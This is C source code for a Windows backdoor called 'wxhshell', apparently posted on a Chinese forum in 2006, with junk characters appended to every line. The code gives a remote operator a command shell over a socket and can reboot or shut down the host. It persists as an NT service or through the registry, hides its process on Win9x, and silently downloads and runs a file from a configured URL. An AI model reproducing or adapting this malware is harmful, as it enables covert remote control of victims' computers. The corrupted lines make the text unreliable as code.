BG_m}3j  
    switch(cmd[0]) { z6#N f,  
  X aW@CW  
  // 帮助 Q^$IlzG7i  
  case '?': { @C62%fU{5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UK*+EEv  
    break; =24)`Lyb  
  } dd>|1'-]  
  // 安装 O`~G'l&@T  
  case 'i': { y8HLrBTza  
    if(Install()) TS^(<+'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %H75u 6  
    else JryDbGc8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '}dlVf  
    break; fQi7e5  
    } 3Q*K+(`{  
  // 卸载 .\= GfF'  
  case 'r': { !f-mC,d  
    if(Uninstall()) ^)<>5.%1''  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6e&Y%O'8  
    else O Ul+es  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vh$~]>t:f  
    break; LH@)((bi4v  
    } V|zzj[c  
  // 显示 wxhshell 所在路径  7m_Jb5  
  case 'p': { $%ZEP> ]  
    char svExeFile[MAX_PATH]; 4SCb9| /Q  
    strcpy(svExeFile,"\n\r"); 7r 07N'  
      strcat(svExeFile,ExeFile); an={h,  
        send(wsh,svExeFile,strlen(svExeFile),0); X[_w#Hwp-  
    break; I~y[8  
    } Yxz(g]  
  // 重启 AX}l~ sv  
  case 'b': { hPF9y@lh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *X+T>SKL  
    if(Boot(REBOOT)) (`x6QiG!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >e :&kp  
    else { G`!#k!&r  
    closesocket(wsh); dDbPM9]5  
    ExitThread(0); |UZPn>F~  
    } |VbF&*v`  
    break; U4qp?g+:  
    } 3ddH@Y|  
  // 关机 .>DqdtP[  
  case 'd': { LL|$M;S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pqFgi_2m  
    if(Boot(SHUTDOWN)) D@*<p h=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3$[!BPLFO  
    else { s <Pk[7`*  
    closesocket(wsh); ]n1@!qa48  
    ExitThread(0); .9{Sr[P  
    } [U@#whEO  
    break; unKTa*U^q  
    } cdVh_"[  
  // 获取shell Ql&5fyW  
  case 's': { Q4\EI=4P]  
    CmdShell(wsh); QyQ&xgS  
    closesocket(wsh); <iVn!P  
    ExitThread(0); fiqeXE?E  
    break; d]6.$"\" p  
  } &l2oyQEF)  
  // 退出 }md[hiJ  
  case 'x': { .P+om<~B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PCDsj_e  
    CloseIt(wsh); <3zA|  
    break; +F$c_ \>  
    } n,}\;Bp  
  // 离开 Fl<|/DCg  
  case 'q': { )w_0lm'v{r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7.-Q9xv  
    closesocket(wsh); f{MXH&d 1\  
    WSACleanup(); ,<s'/8Ik  
    exit(1); [t/7hx"2t  
    break; Ae R3wua  
        } VSP6osX{  
  } Wcd;B7OH  
  } 4^\5]d!  
8gWifx #N  
  // 提示信息 CIAHsbn.A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lb;:<  
} aF1i!Z  
  } !PJD+SrG  
v MTWtc!6  
  return; \9T CP;{  
} /\P3UrQ&]  
Z~)Bh~^A  
// shell模块句柄 }bIbMEMn  
int CmdShell(SOCKET sock) ee}&~%  
{ E uxD,(  
STARTUPINFO si; s"*ZQ0OaD  
ZeroMemory(&si,sizeof(si)); 8$9<z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?CIMez(h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vpu20?E>5z  
PROCESS_INFORMATION ProcessInfo; FJJ+*3(  
char cmdline[]="cmd"; _tDSG]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5/4N  Y  
  return 0; N9@@n:JT  
} uLXMEx<^  
^x(BZolkm  
// 自身启动模式 E-jL"H*  
int StartFromService(void) V("@z<b|  
{ e<o{3*%p)  
typedef struct OhMnG@@  
{ '&?cW#J?  
  DWORD ExitStatus; wh8h1I  
  DWORD PebBaseAddress; ZdG?fWWA  
  DWORD AffinityMask; ?IRp3H  
  DWORD BasePriority; ) Zud|%L  
  ULONG UniqueProcessId; :k9n 9  
  ULONG InheritedFromUniqueProcessId; w/+e  
}   PROCESS_BASIC_INFORMATION; 1}nrVn[B9  
~k>H4hV3  
PROCNTQSIP NtQueryInformationProcess; ? IgM=@  
%GS^=Qr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W2cgxT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?/"Fwjau  
_Bh-*e2k  
  HANDLE             hProcess;  Za,rht  
  PROCESS_BASIC_INFORMATION pbi; )fSO|4   
 _0^f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %%`Q5I  
  if(NULL == hInst ) return 0; /J{ e _a  
zIc%>?w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #+dF3]X(&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]M%kt+u!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rC )pCC  
K[} 5bjh>  
  if (!NtQueryInformationProcess) return 0; k~ Z9og  
d +0(H   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _Q&O#f  
  if(!hProcess) return 0; T^FeahA7;  
 peW4J<,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Z:zL^rvn  
3i1e1Lj1  
  CloseHandle(hProcess); l0AVyA4RFV  
Qb "\j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eru2.(1  
if(hProcess==NULL) return 0; es]S]}JV  
o[<lTsw<  
HMODULE hMod; fePt[U)2  
char procName[255]; U Px7u%Do  
unsigned long cbNeeded; =e\E{K'f@  
&oi*]:<FNe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2Lravb3  
e'%"G{(D  
  CloseHandle(hProcess); PEA<H0  
2|a@,TW}-  
if(strstr(procName,"services")) return 1; // 以服务启动 |S0]qt?  
& !0[T   
  return 0; // 注册表启动 PeCU V6  
} S#gIfb<D  
E1'| ;}/  
// 主模块 }~/u%vI@M5  
int StartWxhshell(LPSTR lpCmdLine) ~\4`tc  
{ > wsS75n1  
  SOCKET wsl; ^)-* Ubzz  
BOOL val=TRUE; s^O>PEX&<I  
  int port=0; [+7 Nu  
  struct sockaddr_in door; M? 7CBqZ  
]*fiLYe9  
  if(wscfg.ws_autoins) Install(); `bXP )$  
';T=kS<^_  
port=atoi(lpCmdLine); c{7<z9U  
'dTJE--@  
if(port<=0) port=wscfg.ws_port; a+wc"RQ |  
f9`F~6$  
  WSADATA data; R 2.y=P8N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #~ikR.-+Eq  
z 'iAj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z]Zs"$q@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %M? A>7b  
  door.sin_family = AF_INET; ]{2Eo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &RSUB;y mL  
  door.sin_port = htons(port); (<.uvq61  
M mihWD02  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X{8/]'(  
closesocket(wsl); '3n?1x  
return 1; qRV5qN2{XY  
} BbCt_z'  
7*{9 2_M  
  if(listen(wsl,2) == INVALID_SOCKET) { H2EKr#(  
closesocket(wsl); ]m ED3#  
return 1; 4JOw@/nE  
} ZW+[f$X  
  Wxhshell(wsl); <4DSk9/  
  WSACleanup(); g)o?nAr  
,B^NH7A:  
return 0; hU 3z4|~+  
K@0gBgN  
} G"_ 8`l  
\W^+aNbv=8  
// 以NT服务方式启动 :Fv d?[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7&I+mw/X  
{ RU r0K#]  
DWORD   status = 0; y2XeD=_'  
  DWORD   specificError = 0xfffffff; CBj&8#8Z  
*F ya qJ)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V={`k$p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Er 4P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Kzv*`  
  serviceStatus.dwWin32ExitCode     = 0; sg=mkkD!g  
  serviceStatus.dwServiceSpecificExitCode = 0; =%wwepz6  
  serviceStatus.dwCheckPoint       = 0; }Y{aVn&C  
  serviceStatus.dwWaitHint       = 0; L%3m_'6QP  
xt{f+c@P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .1O  
  if (hServiceStatusHandle==0) return; |G!PG6%1  
rSGt`#E-s.  
status = GetLastError(); jsXj9:X I  
  if (status!=NO_ERROR) 83^|a5  
{ zAr@vBfC%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vmV<PK-  
    serviceStatus.dwCheckPoint       = 0;  xr }jw  
    serviceStatus.dwWaitHint       = 0; +N~?_5lv\s  
    serviceStatus.dwWin32ExitCode     = status; &HS6}  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3n\eCdV-b<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `63?FzT y  
    return; ZO^Y9\L  
  } xlJ8n+  
*58`}]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;PBybR W  
  serviceStatus.dwCheckPoint       = 0; 5)}3C_pmW  
  serviceStatus.dwWaitHint       = 0; =*ZQGM3w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +`@)87O  
} '[XtARtY`  
L `7~~  
// 处理NT服务事件,比如:启动、停止 ,g2oqq ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |~6X: M61  
{ N*dO'ol  
switch(fdwControl) cqr4P`Oj  
{ 9}\{0;9  
case SERVICE_CONTROL_STOP: 4{[cXM8*j  
  serviceStatus.dwWin32ExitCode = 0;  3,7SGt r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aN87^[  
  serviceStatus.dwCheckPoint   = 0; K1vm [Ne  
  serviceStatus.dwWaitHint     = 0; \P3[_kbf1  
  { AbWnDqv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |.]:#)^X?  
  } d"7l<y5  
  return; ]#UyYgPk  
case SERVICE_CONTROL_PAUSE: wEMh !jAbv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $#bgt   
  break; #U46Au  
case SERVICE_CONTROL_CONTINUE: FIB 9W@oao  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iMrNp  
  break; R4?OFhN9  
case SERVICE_CONTROL_INTERROGATE: "zT#*>U  
  break; B%|cp+/  
}; 8T}Ycm5}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M.h)]S>  
} [sM~B  
qre.^6x  
// 标准应用程序主函数 =bVaB<!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DOr()X  
{ '+!@c&d#%o  
]yTMWIx#  
// 获取操作系统版本 ( TQx3DGq  
OsIsNt=GetOsVer(); **zh>Y}6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (c{<JYEC  
%E!^SF?Y  
  // 从命令行安装 tkN5 |95  
  if(strpbrk(lpCmdLine,"iI")) Install(); {}vB# !  
UuNcBzB2d  
  // 下载执行文件 :HDl-8]Lw  
if(wscfg.ws_downexe) { nm!5L[y!0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t-xw=&!w  
  WinExec(wscfg.ws_filenam,SW_HIDE); n1X.]|6'  
} QQ+?J~  
|j[=uS  
if(!OsIsNt) { R\L0   
// 如果时win9x,隐藏进程并且设置为注册表启动 :/Zy=F9:  
HideProc();  X,zqI  
StartWxhshell(lpCmdLine); 8x`?Yc  
} Zcaec#  
else -SZW[T<N"  
  if(StartFromService()) zi^T?<t  
  // 以服务方式启动 M_o<6C  
  StartServiceCtrlDispatcher(DispatchTable); $oefG}h2  
else 9~6FWBt  
  // 普通方式启动 ^Fy{Q*p`(  
  StartWxhshell(lpCmdLine); Qx9lcO_  
G8m:]!  
return 0; (6xrs_ea  
}
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只看该作者 1 发表于: 2006-10-10
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